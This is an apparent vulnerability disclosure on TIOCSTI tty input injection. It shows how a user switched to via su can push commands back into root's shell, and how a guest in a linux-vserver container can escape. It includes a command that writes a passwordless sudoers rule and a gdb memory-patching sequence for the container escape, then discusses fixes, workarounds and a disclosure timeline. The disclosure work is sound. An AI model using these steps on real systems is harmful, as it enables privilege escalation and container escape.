Problem description:
Most operating systems have tools to switch between user-space execution contexts with different privilege levels, e.g. su or tools to enter container virtualization execution context. Some of those tools, e.g su from package login 1:4.0.18.2-1ubuntu2.2 in ubuntu precise does not prevent tty input faking via TIOCSTI ioctl call after switching to another user (context). When su -s /bin/bash [user] is called from interactive shell, the input queue data pushed back as the target user will be executed by the interactive shell calling su. Example:
root# su -s /bin/bash test
test# ./TtyPushbackSignaling -- $'echo "test ALL=NOPASSWD: ALL" >> /etc/sudoersnfg'
ec[1]+ Stopped su -s /bin/bash testho
"test Aroot# echo "test ALL=NOPASSWD:> /etc/sudoers
root# fg
su -s /bin/bash test
test#
Explanation: when user working as root switches to another user with su and happens to execute the pushback program as that user, the tty input data pushed back is executed in the shell and context of user root.
Results
The issue with su being susceptible to TIOCSTI issues was known before, see references below. A problem seems to be, that kernel API does not provide any countermeasures agains this attack, e.g. having multiple queues for each uid or sid level. The su binary on the other hand could also prevent this kind of attack, e.g. by creating a user-owned sub-pty and copying data from the sub-pty to the root-owned caller pty. But this solution is far more complex than a simple setuid/setgid and therefore currently not implemented.
A similar issue also affects at least one container virtualization platform, that is linux vserver. When an administrator enters a guest, a malicious user inside guest may take over the /usr/sbin/vcontext process, which is named login inside the container. The process creates a new pty which is then used by the shell inside the container but the process still has to keep the old pty from outside open. Injection of code into runnling login process thus allows execution on host. Standard deb package util-vserver-core version 0.30.216-pre3038-1 for download via repo.psand.net (see linux-vserver.org) contain also a version of /usr/sbin/vcontext without ASLR and rwx-pages, so following steps allow execution outside container:
cat <<EOF > /x
#!/bin/bash
exec /TtyPushbackSignaling --NoSignal -- $'ntouch /xxx-outsidenstty sane'
EOF
chmod 0755 /x
gdb --pid [pid of login process]
(gdb) set *0x8051000=0x7880cd
(gdb) set *0x8051004=0x8051002
(gdb) set *0x8051008=0
(gdb) set $eax=0x0b
(gdb) set $ebx=0x8051002
(gdb) set $ecx=0x8051004
(gdb) set $edx=0x8051008
(gdb) set $eip=0x8051000
(gdb) quit
Different builds with NX an ASLR will require to ptrace, read mmap, push data to stack and jump back to libc-exec.
LXC was also tested and not vulnerable to that kind of problem. OpenVZ was not tested (no test installation available)
Discussion
One thing that is special to this vulnerability is, that it is known for quite some time, quite trivially rediscovered every now and thene but still there seems to be no community consensus if it is really a vulnerability. The different views result of CVE-2005-4890 e.g. by suse fixing it 2012-05 while redhat closing with won't fix. There might be two main reasons for these different views:
Su from root to user is considered bad admini practice
Implementation of fix by creating sub-tty is quite complicated
At first the arguments about bad practice should be analyzed, that are a) there should be no need to change to other user with interactive shell access and b) privacy of user accounts should be respected, hence no context switch should be done.
If a) would be true, su could be implemented to refuse to work when called from shell and documentation should clearly state, that it cannot be used for interactive invocation. At least at the moment, insecure use of su seems quite common, even simple search expressions not catching all variants return a number of hits, e.g. google claims 4200 hits for "su postgres" on site postgresql.org, about 100k in total (database creation, dumping, maintenance) or 24k hits for "su www-data" (svn repository creation, other file creation). The arguments from above also show, that privacy issues as mentioned in b) are not really relevant since these are not context switches to real users but system services.
Even when use of su is questionable, tools to enter virtualization containers should not show that vulnerability since there may be no other practicable ways to perform maintenance work inside a container, that has no remote login capabilities.
Another aspect is, that the fix using a sub-tty is quite complicated, since there is another process needed to forward data and signals between the ttys, as mentioned in discussion of this article but also in issue tracking of previous fixes. From my point of view, there are two arguments to implement the sub-tty logic:
- The view, that a security fix is too complicated should not lead to not dealing with the issue. If it is broken by design, it should be removed or at least detect problematic cases and refuse to work in those
- sudo already contains an implementation to solve this issue
Another way to solve the problem could be modification of the tty handling at kernel level, e.g. not having just one input data queue but the possibility to have subqueues. This might be required for legacy applications using the TIOCSTI ioctl for some legitimate reason. These new subqueues could be activated automatically, e.g. when changing uid or pid-ns, or the queues could be activated by a process via ioctl. The advantage of such solution would be, that it does not require any user-space overhead for creation of sub-ptys and moving of data between those. Calls could look like:
ioctl(ttyfd, TIOAQUE, null) // Returns null
ioctl(ttyfd, TIOAQUE, null)
// Returns error, this pid has already created a queue
fork
exec
...
ioctl(ttyfd, TIORQUE, null) // Remove queue and all queues added later on.
// After this point, all processes holding a copy of ttyfd (children,
// scm-receivers) cannot pushback any more.
Without implementation of the solutions from above, users have to take care not to use context-switching tools in problematic ways. Workarounds include:
When no interactive shell is needed in lower-privileged context, su et al. can be run with stdin, stdout, stderr redirection, not passing a tty-fd to the other context The tool screen from a package with the same name creates a pty for each process. Calling screen su [user] does not pass the tty of the privileged user directly to the lower-privileged context.
Timeline
20121028: Discovery of su issue
20121030: POC for vserver enter
20121105: Started discussion on oss-security mailing-list (post)
20121107: Confirmation of issue for linux vserver (thread)
20121110: Full disclosure